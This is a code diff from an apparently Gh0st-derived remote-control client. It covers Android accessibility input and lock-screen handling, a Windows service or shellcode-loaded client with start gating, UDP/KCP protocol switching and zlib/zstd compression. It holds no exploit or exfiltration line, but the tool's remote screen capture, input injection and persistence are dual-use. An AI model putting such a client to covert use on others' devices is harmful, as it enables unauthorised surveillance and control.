// · isTV —— 输入策略:D-pad 焦点导航 vs 直接触摸注入。只认 leanback。
|
||||
// 在不需要 D-pad 的设备上误开会让远程鼠标完全失效;反过来
|
||||
// 在需要 D-pad 的电视上误关会让控制完全失效(2026-11-22 事故)。
|
||||
// · isTvLike —— 电视特征(锁屏启发式):leanback/television/uiMode 任一命中。
|
||||
// 这两者合并过一次,结果就是一台电视的远程控制被关掉;用 typed 命名拆开。
|
||||
// 曾因一次脚本替换丢掉赋值,isTV 静默保持 false。改成 lazy val 后,"漏赋值"不再合法。
|
||||
private val isTV: Boolean by lazy {
|
||||
packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
|
||||
}
|
||||
private val isTvLike: Boolean by lazy { isTvDevice(this) }
|
||||
private var tvLastEncX = -1f
|
||||
private var tvLastEncY = -1f
|
||||
private var tvAccumDX = 0f
|
||||
@@ -262,10 +298,25 @@ class ControlService : AccessibilityService() {
|
||||
override fun onServiceConnected() {
|
||||
super.onServiceConnected()
|
||||
instance = this
|
||||
isTV = packageManager.hasSystemFeature("android.software.leanback")
|
||||
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
|
||||
// 输入策略与电视特征(isTV / isTvLike)是不可变惰性值,见字段声明处的说明。
|
||||
// 启动时把解析结果打进日志:远程控制异常时先看这一行,判断是不是输入策略选错了。
|
||||
// 同时尽量写进 native ring(服务端「运行日志」能取回);无障碍服务可能先于
|
||||
// nativeInit 连接,这时 native 不可用,退回 logcat 即可。
|
||||
val inputMode = "input=${if (isTV) "dpad" else "touch"} tvLike=$isTvLike"
|
||||
Log.i(TAG, inputMode)
|
||||
runCatching { YamaBridge.nativeLog(Log.INFO, TAG, inputMode) }
|
||||
// 手机在无障碍服务重启时可能仍处于锁屏:SCREEN_OFF 广播发生在本次服务启动之前,
|
||||
// 之后也不会再补发,只有 USER_PRESENT 才会来。连上时按 keyguard 校准一次:
|
||||
// 锁着就补记起点,没锁就清掉旧起点——否则"锁屏时服务重连、之后已解锁"会让
|
||||
// 假 Locked 一直挂着(时长还一直涨)。电视不认 keyguard(部分机型恒为 true,
|
||||
// 正是 db148c4 把活动窗口卡在 Locked 的原因)。
|
||||
if (!isTvLike) {
|
||||
val keyguardLocked = (getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager)?.isKeyguardLocked == true
|
||||
lockedAtElapsed = if (keyguardLocked) SystemClock.elapsedRealtime() else 0L
|
||||
}
|
||||
val filter = IntentFilter().apply {
|
||||
addAction(Intent.ACTION_SCREEN_OFF)
|
||||
addAction(Intent.ACTION_SCREEN_ON)
|
||||
addAction(Intent.ACTION_USER_PRESENT)
|
||||
}
|
||||
registerReceiver(screenReceiver, filter)
|
||||
@@ -276,8 +327,8 @@ class ControlService : AccessibilityService() {
|
||||
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||
val pkg = event.packageName?.toString()
|
||||
if (!pkg.isNullOrEmpty()) {
|
||||
// 只更新前台包名;解锁由 USER_PRESENT 与 activeWindow 的 getter 负责,
|
||||
// 避免「息屏时 KeyguardManager 误报未锁」把锁定起点清掉
|
||||
// 只更新前台包名;锁定起点由 SCREEN_OFF / USER_PRESENT(电视另有
|
||||
// SCREEN_ON)维护,getter 不再询问 KeyguardManager。
|
||||
foregroundPkg = pkg
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,6 +27,8 @@ class MainActivity : AppCompatActivity() {
|
||||
private var awaitingStorageSettings = false
|
||||
|
||||
companion object {
|
||||
// 远程桌面的屏幕捕获授权失效时,native 会拉起本 Activity;实例还活着时靠这个 extra 走 onNewIntent
|
||||
const val EXTRA_REQUEST_PROJECTION = "request_projection"
|
||||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||||
// POST_NOTIFICATIONS(API 33+)、RECORD_AUDIO(语音监听)与 API 29- 的存储权限
|
||||
// 合并成一次请求;结果回来后再弹录屏授权,系统对话框不会叠在一起。
|
||||
@@ -192,6 +194,15 @@ class MainActivity : AppCompatActivity() {
|
||||
}
|
||||
}
|
||||
|
||||
override fun onNewIntent(intent: Intent?) {
|
||||
super.onNewIntent(intent)
|
||||
// native 请求重新授权时(ScreenSpyThread 发现没有投影会话):若本 Activity 还活着,
|
||||
// onCreate 不会再执行,这里补一次系统「屏幕捕获」授权。
|
||||
if (intent?.getBooleanExtra(EXTRA_REQUEST_PROJECTION, false) == true && !awaitingStorageSettings) {
|
||||
startProjection()
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
}
|
||||
|
||||
@@ -30,6 +30,12 @@ object YamaBridge {
|
||||
/** 把一行文本回报到服务端消息栏(TOKEN_CLIENT_MSG),用于升级流程的成败说明 */
|
||||
external fun nativeReportMessage(msg: String)
|
||||
|
||||
/**
|
||||
* 把一行日志写进 native 的 Logger ring:服务端「运行日志」菜单 / MCP get_client_log
|
||||
* 会取回这份 ring。电视、机顶盒这类没有 adb 的设备靠它回传编码器/投影状态。
|
||||
*/
|
||||
external fun nativeLog(priority: Int, tag: String, msg: String)
|
||||
|
||||
/**
|
||||
* 远程交谈:发送一条已按 GBK 编码的消息(不含结尾 NUL,native 补)。
|
||||
* 没有活跃的交谈子连接时返回 false。
|
||||
|
||||
+74
-1
@@ -5,6 +5,7 @@
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include "start_gate.h"
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
#include <intrin.h> // for __cpuid, __cpuidex
|
||||
@@ -406,6 +407,16 @@ int main(int argc, const char *argv[])
|
||||
BYTE buf[] = { nCmd };
|
||||
return RunCommand(buf, 1);
|
||||
}
|
||||
{
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
@@ -504,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param)
|
||||
{
|
||||
if (!IsLocalTestClient(g_MyApp.g_Connection)) {
|
||||
std::string expiredDate;
|
||||
const bool isAuthKernel = IsAuthKernel(expiredDate);
|
||||
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
|
||||
const char* section = StartGate::ConfigSection(isAuthKernel);
|
||||
if (!StartGate::AllowStartNow(cfg, section)) {
|
||||
Mprintf("next=%d\n", StartGate::Get(cfg, section));
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
FreeLibraryAndExitThread((HMODULE)param, -1);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
do {
|
||||
TestRun(NULL, 0);
|
||||
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
|
||||
@@ -743,7 +767,9 @@ const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上
|
||||
|
||||
bool IsSwitchableProto(int p)
|
||||
{
|
||||
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
|
||||
// UDP/KCP 是实验传输:主控在 ghost/UDPOption 里配置了对应端口才可切。
|
||||
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS
|
||||
|| p == PROTO_UDP || p == PROTO_KCP;
|
||||
}
|
||||
|
||||
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
|
||||
@@ -972,6 +998,12 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||
if (nullptr == ClientObject) return -1;
|
||||
// 当前主连接对象是按哪种协议创建的:NewNetClient 只在进 StartClient 时选一次类,
|
||||
// 协议切到 UDP/KCP(不同的传输类)后必须重建,WS/WSS 则复用同一个 IOCPClient。
|
||||
// 记录“实际类”而不是配置值:PROTO_RANDOM 的客户端可能随机实例化出 UDP 对象。
|
||||
int createdProto = (unsigned char)settings.protoType;
|
||||
bool createdDatagram = ClientObject->IsDatagramTransport();
|
||||
bool createdKcp = ClientObject->IsKcpTransport();
|
||||
// 主连接:登录被接受后发布头加密类型;上一条连接没被登录接受时,重连换下一种类型
|
||||
// 轮转探测。其余 IOCPClient(文件/进程/屏幕等子连接)都跟随这里发布的值。
|
||||
ClientObject->MarkMainLink();
|
||||
@@ -1022,6 +1054,39 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
// 过主控的入口优先)。
|
||||
if (!assigned && !app.m_bShared)
|
||||
ApplyProtoSwitch(cfg, settings);
|
||||
// 传输类变化(TCP 系 ↔ UDP/KCP,以及 UDP ↔ KCP)必须重建主连接对象:
|
||||
// WS/WSS 能在同一个 IOCPClient 里生效(每次连接重读 protoType),而 UDP/KCP
|
||||
// 是不同的客户端类,不重建会以 TCP 连到实验端口(每个端口都有 TCP 监听),
|
||||
// 表现为"切换成功但列表仍显示 TCP"。
|
||||
// - 只在显式协议变化(protoNow != createdProto)时比较,PROTO_RANDOM 不重建;
|
||||
// - 不排除 assigned:转移可能把入口换成 TCP/WS/WSS,旧的数据报对象必须换掉。
|
||||
{
|
||||
const int protoNow = (unsigned char)settings.protoType;
|
||||
if (!app.m_bShared && protoNow != createdProto && protoNow != PROTO_RANDOM) {
|
||||
const bool wantDatagram = (protoNow == PROTO_UDP || protoNow == PROTO_KCP);
|
||||
const bool wantKcp = (protoNow == PROTO_KCP);
|
||||
if (wantDatagram != createdDatagram || (wantDatagram && wantKcp != createdKcp)) {
|
||||
Mprintf("[proto-switch] transport class changes (proto %d, datagram %d/%d -> %d/%d), recreating main client\n",
|
||||
protoNow, (int)createdDatagram, (int)createdKcp, (int)wantDatagram, (int)wantKcp);
|
||||
SAFE_DELETE(Manager); // 旧连接的管理器可能仍引用旧对象
|
||||
delete ClientObject; // 析构会停工作线程、清理 socket
|
||||
ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||
if (nullptr == ClientObject) return -1;
|
||||
ClientObject->MarkMainLink();
|
||||
createdProto = protoNow;
|
||||
createdDatagram = ClientObject->IsDatagramTransport();
|
||||
createdKcp = ClientObject->IsKcpTransport();
|
||||
}
|
||||
}
|
||||
}
|
||||
// 协议切换待确认:UDP/KCP 没有握手,"已连接"永远为真;远端静默丢弃数据时
|
||||
// 内层心跳循环不会退出,ApplyProtoSwitch 的 300 秒回退检查就跑不到。这里
|
||||
// 记下本轮是否在等新入口的登录确认,由下面的心跳循环兜底断开。
|
||||
const bool switchPending =
|
||||
!assigned && !app.m_bShared &&
|
||||
!cfg.GetStr("settings", "proto_override").empty() &&
|
||||
cfg.GetStr("settings", "entry_try_at") != "0" &&
|
||||
!cfg.GetStr("settings", "entry_try_at").empty();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
@@ -1056,6 +1121,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
|
||||
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
|
||||
ConfirmProtoSwitch(cfg);
|
||||
// 新入口 60 秒还没被登录接受就主动断开,让外层循环执行 300 秒回退检查。
|
||||
// 没有这条,UDP/KCP 在"连得上但服务端不回包"时 IsConnected 永远为真,
|
||||
// 主机会一直挂在错误入口,只能重启进程。
|
||||
if (switchPending && !ClientObject->IsLoginAcked() &&
|
||||
GetTickCount64() - dwTickCount > 60 * 1000) {
|
||||
Mprintf("[proto-switch] new entry not acked in 60s, disconnecting to trigger revert\n");
|
||||
ClientObject->Disconnect();
|
||||
}
|
||||
// 连接期间到期也要立刻复原;不可达的情况由外层循环开头兜底。
|
||||
restoreExpiredAssignment();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
|
||||
+132
-31
@@ -28,30 +28,53 @@ inline int WSAGetLastError()
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#include <random>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
// 线缆压缩:Windows 客户端同时携带 zlib 与 zstd,运行期由 settings\compress 选择
|
||||
// (默认 zstd,配置为 zlib 时使用 zlib)。POSIX 客户端只链接 libzstd。
|
||||
#if defined(_WIN32)
|
||||
# include "zlib/zlib.h"
|
||||
# define CLIENT_HAS_ZLIB 1
|
||||
#else
|
||||
# define CLIENT_HAS_ZLIB 0
|
||||
#endif
|
||||
#include "common/zstd_wrapper.h"
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
|
||||
// ZSTD 库在客户端始终要链接:文件管理器的 ZSTA 归档(common/ZstdArchive.h)、
|
||||
// common/zstd_wrapper.c 以及上面的版本日志都无条件引用 ZSTD_*,与线缆压缩
|
||||
// 选择 zlib 还是 zstd 无关。此处在两种模式下都生效。
|
||||
#ifdef _WIN32
|
||||
# ifdef _WIN64
|
||||
# pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
# else
|
||||
# pragma comment(lib, "zstd/zstd.lib")
|
||||
# endif
|
||||
# include "common/iniFile.h" // CLIENT_PATH + settings\compress
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
|
||||
// 读取 settings\compress:默认 zstd,值为 "zlib"(大小写不敏感)时使用 zlib。
|
||||
// 配置存放在客户端注册表(CLIENT_PATH)。服务端下发 COMMAND_SET_COMPRESS 会写同一个
|
||||
// 键并触发重连;新连接在构造函数里重新读取,从而无需重启进程即可生效。
|
||||
static bool ClientCompressUsesZlib()
|
||||
{
|
||||
#if defined(_WIN32) && CLIENT_HAS_ZLIB
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string mode = cfg.GetStr("settings", "compress", "zstd");
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
return mode == "zlib";
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 对外暴露同一判定:分享前要确认新建的分享实例会用什么算法(它构造时读的就是
|
||||
// 这个配置),不能用某条现有连接的 m_useZlib 代替。
|
||||
bool IOCPClient::ConfiguredWireZlib()
|
||||
{
|
||||
return ClientCompressUsesZlib();
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -244,6 +267,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩模式:本连接构造时按配置读取一次(默认 zstd)。服务端下发
|
||||
// COMMAND_SET_COMPRESS 后由 SetWireCompression() 原地改写,下一次建连生效。
|
||||
m_useZlib = ClientCompressUsesZlib();
|
||||
Mprintf("[IOCPClient] wire compress: %s\n", m_useZlib ? "zlib" : "zstd");
|
||||
|
||||
m_main = main;
|
||||
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||
@@ -296,7 +324,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
if (Z_FAILED(n)) {
|
||||
if (ZSTD_isError(n)) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
@@ -307,6 +335,74 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
#endif
|
||||
}
|
||||
|
||||
// 线缆压缩/解压:按本连接构造时选定的 m_useZlib 走 zlib 或 zstd。
|
||||
// 成功返回 true 并写回实际长度;失败返回 false。
|
||||
bool IOCPClient::CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = compress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = zstd_compress_auto(m_Cctx, dst, (size_t)dstLen, src, (size_t)srcLen, 1024 * 1024);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
{
|
||||
size_t r = ZSTD_compress(dst, (size_t)dstLen, src, (size_t)srcLen, ZSTD_CLEVEL_DEFAULT);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
bool IOCPClient::DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = uncompress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = ZSTD_decompressDCtx(m_Dctx, dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
{
|
||||
size_t r = ZSTD_decompress(dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void IOCPClient::PrepareHeaderEncoderForConnect()
|
||||
{
|
||||
if (!m_EncoderType) {
|
||||
@@ -358,7 +454,7 @@ void IOCPClient::SetMultiThreadCompress(int threadNum)
|
||||
#if USING_CTX
|
||||
BOOL failed = TRUE;
|
||||
if (threadNum > 1) {
|
||||
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
failed = ZSTD_isError(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
}
|
||||
if (failed) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
@@ -1007,9 +1103,15 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
|
||||
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
// 与发送同一模式:服务端按客户端首个压缩包识别算法,回包使用同一算法,
|
||||
// 因此这里固定用本连接的 m_useZlib 解压。
|
||||
ULONG ulDecompressedLength = ulOriginalLength;
|
||||
bool decompressed = DecompressData(DeCompressedBuffer, ulDecompressedLength,
|
||||
CompressedBuffer, ulCompressedLength);
|
||||
ulOriginalLength = ulDecompressedLength;
|
||||
|
||||
if (decompressed) { //如果解压成功
|
||||
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||
// 走 default 路径忽略,无副作用)。
|
||||
@@ -1058,27 +1160,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
|
||||
std::lock_guard<std::mutex> lock(m_Locker);
|
||||
{
|
||||
int cmd = BYTE(szBuffer[0]);
|
||||
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
|
||||
//防止缓冲区溢出// HelloWorld 10 22
|
||||
//数据压缩 压缩算法 微软提供
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
// 线缆压缩:运行期选择 zlib / zstd(默认 zstd)。zlib 用 compressBound 而不是
|
||||
// 1.001n+12 —— 后者对小于约 1KB 的包会比 compressBound 少 1 字节,导致
|
||||
// compress() 返回 Z_BUF_ERROR、小包(心跳 ACK、控制命令)被静默丢弃。
|
||||
// 用 ULONG(32 位)而不是 unsigned long:LP64 下 unsigned long 是 64 位,
|
||||
// 绑不到 CompressData 的 ULONG&,Linux/Android arm64 会直接编译失败。
|
||||
#if CLIENT_HAS_ZLIB
|
||||
ULONG ulCompressedLength = m_useZlib
|
||||
? (ULONG)compressBound(ulOriginalLength)
|
||||
: (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
ULONG ulCompressedLength = (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (!CompressData(CompressedBuffer, ulCompressedLength, szBuffer, ulOriginalLength)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d, mode=%s\n",
|
||||
ulOriginalLength, ulCompressedLength, m_useZlib ? "zlib" : "zstd");
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||
CBuffer m_WriteBuffer;
|
||||
HeaderFlag H = m_Encoder->GetHead();
|
||||
|
||||
@@ -210,6 +210,15 @@ public:
|
||||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||
}
|
||||
|
||||
// 切换线缆压缩模式。只影响下一次建连(调用方随后 Disconnect,重连循环复用本对象);
|
||||
// COMMAND_SET_COMPRESS 用它原地切换,避免 S_CLIENT_UPDATE 把进程内测试客户端停死。
|
||||
void SetWireCompression(bool useZlib) { m_useZlib = useZlib; }
|
||||
|
||||
// 整机配置里选定的线缆压缩模式(新连接构造时读的同一个键)。分享实例会继承它,
|
||||
// 所以分享前按它判断,而不是按当前连接的 m_useZlib:并行上线时不同连接的模式
|
||||
// 可以和配置不一致。
|
||||
static bool ConfiguredWireZlib();
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
@@ -323,6 +332,11 @@ public:
|
||||
void SetLoginAcked(bool v) { m_loginAcked.store(v, std::memory_order_release); }
|
||||
bool IsLoginAcked() const { return m_loginAcked.load(std::memory_order_acquire); }
|
||||
|
||||
// 传输类标识:协议切换需要在“TCP 系 ↔ 数据报类”之间重建客户端对象
|
||||
// (NewNetClient 只在进 StartClient 时选一次类)。
|
||||
virtual bool IsDatagramTransport() const { return false; }
|
||||
virtual bool IsKcpTransport() const { return false; }
|
||||
|
||||
// 本连接是否真的走 TLS(ConnectServer 握手成功时锁定,见 m_useTls)。登录上报用它,
|
||||
// 而不是再去看全局的 TlsEnabled()——UDP/KCP 客户端各自 override ConnectServer、完全
|
||||
// 不含 TLS,PROTO_WS 是显式明文形态,只有这里才给得出如实答案。
|
||||
@@ -437,6 +451,12 @@ protected:
|
||||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||
bool m_subConnAuthEnabled = false;
|
||||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||
|
||||
// 线缆压缩:本连接构造时读 settings\compress(默认 zstd;配置 zlib 时用 zlib);
|
||||
// COMMAND_SET_COMPRESS 通过 SetWireCompression() 原地改写,下一次建连生效。
|
||||
bool m_useZlib = false;
|
||||
bool CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
bool DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
|
||||
+131
-31
@@ -14,30 +14,61 @@ IOCPKCPClient::~IOCPKCPClient()
|
||||
if (updateThread_.joinable())
|
||||
updateThread_.join();
|
||||
|
||||
if (kcp_)
|
||||
// 基类析构才会停 UDP 收包线程,本析构先于它执行:收包线程可能正卡在
|
||||
// ReceiveData 里等着拿 kcpMutex_。加锁后再释放,并让 ReceiveData 在锁内
|
||||
// 检查空指针,避免在已释放的 ikcp 上调用 ikcp_input。
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
m_pendingRecv.clear();
|
||||
m_pendingPos = 0;
|
||||
if (kcp_) {
|
||||
ikcp_release(kcp_);
|
||||
kcp_ = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
|
||||
if (!ret)
|
||||
// 同一传输内重连会复用这个对象(ClientDll 只在传输类变化时重建):必须先停掉
|
||||
// 旧的更新线程并释放旧 KCP 会话。直接给仍 joinable 的 std::thread 赋值会
|
||||
// std::terminate;旧 kcp_ 不释放则泄漏。
|
||||
running_ = false;
|
||||
if (updateThread_.joinable())
|
||||
updateThread_.join();
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
if (kcp_) {
|
||||
ikcp_release(kcp_);
|
||||
kcp_ = nullptr;
|
||||
}
|
||||
m_pendingRecv.clear(); // 上一条连接遗留的未交付分片不再有效
|
||||
m_pendingPos = 0;
|
||||
// 先建好 KCP 会话,再让基类 ConnectServer 启动 UDP 收包线程:否则收包线程
|
||||
// 可能在 kcp_ 还是空指针时调用 ikcp_input。
|
||||
kcp_ = ikcp_create(KCP_SESSION_ID, this); // conv 要与服务端匹配
|
||||
if (!kcp_)
|
||||
return FALSE;
|
||||
|
||||
// 设置KCP参数
|
||||
// 与服务端一致的“快模式”:10ms 一刷、关闭拥塞控制。原来 40ms + 开拥塞控制时,
|
||||
// 预览响应这种几十个分片的大消息要好几秒才发完,服务端 4 秒的预览等待经常超时。
|
||||
ikcp_nodelay(kcp_, 1, 10, 2, 1);
|
||||
kcp_->rx_minrto = 30;
|
||||
kcp_->snd_wnd = 128;
|
||||
kcp_->rcv_wnd = 128;
|
||||
|
||||
// 设置发送回调函数(KCP发送数据时调用)
|
||||
kcp_->output = IOCPKCPClient::kcpOutput;
|
||||
}
|
||||
|
||||
if (!IOCPUDPClient::ConnectServer(szServerIP, uPort)) {
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
if (kcp_) {
|
||||
ikcp_release(kcp_);
|
||||
kcp_ = nullptr;
|
||||
}
|
||||
return FALSE;
|
||||
|
||||
// 初始化KCP
|
||||
uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配
|
||||
kcp_ = ikcp_create(conv, this);
|
||||
if (!kcp_)
|
||||
return FALSE;
